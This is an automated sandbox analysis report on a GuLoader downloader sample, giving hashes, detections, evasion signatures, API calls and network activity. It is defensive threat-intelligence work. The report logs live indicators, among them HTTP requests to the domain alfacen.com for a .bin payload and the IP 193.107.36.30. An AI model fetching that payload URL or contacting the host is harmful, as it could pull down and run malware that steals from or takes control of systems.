Edit tour

Windows Analysis Report
3507071243740008011.exe

Overview

General Information

Sample name:	3507071243740008011.exe
Analysis ID:	1538168
MD5:	300ffb3fd65eb4a84a14802828f91e38
SHA1:	937574595a8e68f7a77b95a7f99b530007f9fc5c
SHA256:	24beefbe74ccf89b245d50c7279c83803186566d4be4f89f875e203ec2f4edf9
Tags:	exeuser-Racco42
Infos:

Detection

GuLoader

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected GuLoader

AI detected suspicious sample

Opens the same file many times (likely Sandbox evasion)

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

PE file contains executable resources (Code or Archives)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

3507071243740008011.exe (PID: 7284 cmdline: "C:\Users\user\Desktop\3507071243740008011.exe" MD5: 300FFB3FD65EB4A84A14802828F91E38)

3507071243740008011.exe (PID: 8124 cmdline: "C:\Users\user\Desktop\3507071243740008011.exe" MD5: 300FFB3FD65EB4A84A14802828F91E38)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2641992068.0000000005438000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 3507071243740008011.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: 3507071243740008011.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: 3507071243740008011.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 193.107.36.30:443 -> 192.168.2.4:49929 version: TLS 1.2

Source: 3507071243740008011.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: 3507071243740008011.exe, 00000005.00000001.2640954527.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: wntdll.pdbUGP source: 3507071243740008011.exe, 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040652875.00000000369C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 3507071243740008011.exe, 3507071243740008011.exe, 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040652875.00000000369C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: 3507071243740008011.exe, 00000005.00000001.2640954527.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 0_2_004065C5 FindFirstFileW,FindClose,	0_2_004065C5
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 0_2_00405990 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405990
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 0_2_00402862 FindFirstFileW,	0_2_00402862

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /jFhxxDhhDcCKVgiwlWM221.bin HTTP/1.1User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: alfacen.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jFhxxDhhDcCKVgiwlWM221.bin HTTP/1.1User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: alfacen.comCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: alfacen.com

Source: 3507071243740008011.exe, 00000000.00000000.1711380790.000000000040A000.00000008.00000001.01000000.00000003.sdmp, 3507071243740008011.exe, 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmp, 3507071243740008011.exe, 00000005.00000000.2638137136.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 3507071243740008011.exe, 00000005.00000001.2640954527.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.ftp.ftp://ftp.gopher.
Source: 3507071243740008011.exe, 00000005.00000001.2640954527.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: 3507071243740008011.exe, 00000005.00000001.2640954527.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: 3507071243740008011.exe, 00000005.00000003.3040973789.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040929745.0000000006CBB000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880153523.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3041155359.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880232804.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfacen.com/
Source: 3507071243740008011.exe, 00000005.00000003.3040973789.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040929745.0000000006CBB000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880153523.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3041155359.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880232804.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfacen.com/R
Source: 3507071243740008011.exe, 00000005.00000002.3376402237.0000000006C58000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040973789.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000002.3395519172.0000000036160000.00000004.00001000.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040929745.0000000006CBB000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880153523.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3041155359.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880232804.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000002.3376402237.0000000006CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfacen.com/jFhxxDhhDcCKVgiwlWM221.bin
Source: 3507071243740008011.exe, 00000005.00000003.3040973789.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040929745.0000000006CBB000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880153523.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3041155359.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880232804.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfacen.com/jFhxxDhhDcCKVgiwlWM221.binL
Source: 3507071243740008011.exe, 00000005.00000001.2640954527.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929

Source: unknown

HTTPS traffic detected: 193.107.36.30:443 -> 192.168.2.4:49929 version: TLS 1.2

Source: C:\Users\user\Desktop\3507071243740008011.exe

Code function: 0_2_00405425 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405425

Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D935C0 NtCreateMutant,LdrInitializeThunk,	5_2_36D935C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_36D92DF0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D93090 NtSetValueKey,	5_2_36D93090
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D93010 NtOpenDirectoryObject,	5_2_36D93010
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D93D70 NtOpenThread,	5_2_36D93D70
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D93D10 NtOpenProcessToken,	5_2_36D93D10
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D939B0 NtGetContextThread,	5_2_36D939B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D94650 NtSuspendThread,	5_2_36D94650
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D94340 NtSetContextThread,	5_2_36D94340
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92EE0 NtQueueApcThread,	5_2_36D92EE0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92E80 NtReadVirtualMemory,	5_2_36D92E80
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92EA0 NtAdjustPrivilegesToken,	5_2_36D92EA0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92E30 NtWriteVirtualMemory,	5_2_36D92E30
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92FE0 NtCreateFile,	5_2_36D92FE0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92F90 NtProtectVirtualMemory,	5_2_36D92F90
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92FB0 NtResumeThread,	5_2_36D92FB0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92FA0 NtQuerySection,	5_2_36D92FA0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92F60 NtCreateProcessEx,	5_2_36D92F60
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92F30 NtCreateSection,	5_2_36D92F30
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92CC0 NtQueryVirtualMemory,	5_2_36D92CC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92CF0 NtOpenProcess,	5_2_36D92CF0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92CA0 NtQueryInformationToken,	5_2_36D92CA0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92C70 NtFreeVirtualMemory,	5_2_36D92C70
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92C60 NtCreateKey,	5_2_36D92C60
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92C00 NtQueryInformationProcess,	5_2_36D92C00
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92DD0 NtDelayExecution,	5_2_36D92DD0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92DB0 NtEnumerateKey,	5_2_36D92DB0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92D10 NtMapViewOfSection,	5_2_36D92D10
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92D00 NtSetInformationFile,	5_2_36D92D00
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92D30 NtUnmapViewOfSection,	5_2_36D92D30
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92AD0 NtReadFile,	5_2_36D92AD0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92AF0 NtWriteFile,	5_2_36D92AF0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92AB0 NtWaitForSingleObject,	5_2_36D92AB0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92BF0 NtAllocateVirtualMemory,	5_2_36D92BF0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92BE0 NtQueryValueKey,	5_2_36D92BE0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92B80 NtQueryInformationFile,	5_2_36D92B80
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92BA0 NtEnumerateValueKey,	5_2_36D92BA0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D92B60 NtClose,	5_2_36D92B60

Source: C:\Users\user\Desktop\3507071243740008011.exe

Code function: 0_2_00403373 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403373

Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 0_2_00404C62	0_2_00404C62
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 0_2_00406ADD	0_2_00406ADD
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 0_2_004072B4	0_2_004072B4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E116CC	5_2_36E116CC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DA5630	5_2_36DA5630
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1F7B0	5_2_36E1F7B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D51460	5_2_36D51460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1F43F	5_2_36E1F43F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E295C3	5_2_36E295C3
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFD5B0	5_2_36DFD5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E17571	5_2_36E17571
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7B2C0	5_2_36D7B2C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7D2F0	5_2_36D7D2F0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D652A0	5_2_36D652A0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DA739A	5_2_36DA739A
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4D34C	5_2_36D4D34C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1132D	5_2_36E1132D
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1F0E0	5_2_36E1F0E0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E170E9	5_2_36E170E9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0F0CC	5_2_36E0F0CC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6B1B0	5_2_36D6B1B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E2B16B	5_2_36E2B16B
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D9516C	5_2_36D9516C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D69EB0	5_2_36D69EB0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D23FD2	5_2_36D23FD2
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D23FD5	5_2_36D23FD5
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1FFB1	5_2_36E1FFB1
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1FF09	5_2_36E1FF09
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1FCF2	5_2_36E1FCF2
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD9C32	5_2_36DD9C32
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7FDC0	5_2_36D7FDC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E17D73	5_2_36E17D73
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D63D40	5_2_36D63D40
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E11D5A	5_2_36E11D5A
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0DAC6	5_2_36E0DAC6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E01AA3	5_2_36E01AA3
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFDAAC	5_2_36DFDAAC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DA5AA0	5_2_36DA5AA0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E17A46	5_2_36E17A46
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1FA49	5_2_36E1FA49
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD3A6C	5_2_36DD3A6C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D9DBF9	5_2_36D9DBF9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD5BF0	5_2_36DD5BF0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7FB80	5_2_36D7FB80
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1FB76	5_2_36E1FB76
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D638E0	5_2_36D638E0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DCD800	5_2_36DCD800
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D69950	5_2_36D69950
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7B950	5_2_36D7B950
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF5910	5_2_36DF5910
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7C6E0	5_2_36D7C6E0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5C7C0	5_2_36D5C7C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D84750	5_2_36D84750
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D60770	5_2_36D60770
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0E4F6	5_2_36E0E4F6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E12446	5_2_36E12446
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E04420	5_2_36E04420
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E20591	5_2_36E20591
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D60535	5_2_36D60535
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE02C0	5_2_36DE02C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E00274	5_2_36E00274
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E203E6	5_2_36E203E6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6E3F0	5_2_36D6E3F0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1A352	5_2_36E1A352
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF2000	5_2_36DF2000
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E181CC	5_2_36E181CC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E141A2	5_2_36E141A2
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E201AA	5_2_36E201AA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE8158	5_2_36DE8158
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFA118	5_2_36DFA118
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D50100	5_2_36D50100
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1EEDB	5_2_36E1EEDB
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D72E90	5_2_36D72E90
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1CE93	5_2_36E1CE93
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D60E59	5_2_36D60E59
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1EE26	5_2_36E1EE26
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D52FC8	5_2_36D52FC8
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6CFE0	5_2_36D6CFE0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDEFA0	5_2_36DDEFA0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD4F40	5_2_36DD4F40
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E02F30	5_2_36E02F30
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D80F30	5_2_36D80F30
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DA2F28	5_2_36DA2F28
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D50CF2	5_2_36D50CF2
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E00CB5	5_2_36E00CB5
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D60C00	5_2_36D60C00
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5ADE0	5_2_36D5ADE0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D78DBF	5_2_36D78DBF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFCD1F	5_2_36DFCD1F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6AD00	5_2_36D6AD00
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5EA80	5_2_36D5EA80
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E16BD7	5_2_36E16BD7
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1AB40	5_2_36E1AB40
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8E8F0	5_2_36D8E8F0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D468B8	5_2_36D468B8
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D62840	5_2_36D62840
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6A840	5_2_36D6A840
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E2A9A6	5_2_36E2A9A6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D629A0	5_2_36D629A0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D76962	5_2_36D76962

Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: String function: 36DA7E54 appears 108 times
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: String function: 36DDF290 appears 105 times
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: String function: 36D4B970 appears 262 times
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: String function: 36DCEA12 appears 86 times
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: String function: 36D95130 appears 58 times

Source: 3507071243740008011.exe

Static PE information: Resource name: RT_VERSION type: Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: 3507071243740008011.exe, 00000005.00000003.3040652875.0000000036AE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 3507071243740008011.exe
Source: 3507071243740008011.exe, 00000005.00000002.3396208437.0000000036FF1000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 3507071243740008011.exe

Source: 3507071243740008011.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal80.troj.evad.winEXE@2/8@1/1

Source: C:\Users\user\Desktop\3507071243740008011.exe

0_2_00403373

Source: C:\Users\user\Desktop\3507071243740008011.exe

Code function: 0_2_004046E6 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004046E6

Source: C:\Users\user\Desktop\3507071243740008011.exe

Code function: 0_2_004020FE CoCreateInstance,

0_2_004020FE

Source: C:\Users\user\Desktop\3507071243740008011.exe

File created: C:\Users\user\AppData\Roaming\pechay

Jump to behavior

Source: C:\Users\user\Desktop\3507071243740008011.exe

File created: C:\Users\user\AppData\Local\Temp\nso624C.tmp

Jump to behavior

Source: 3507071243740008011.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\3507071243740008011.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\3507071243740008011.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

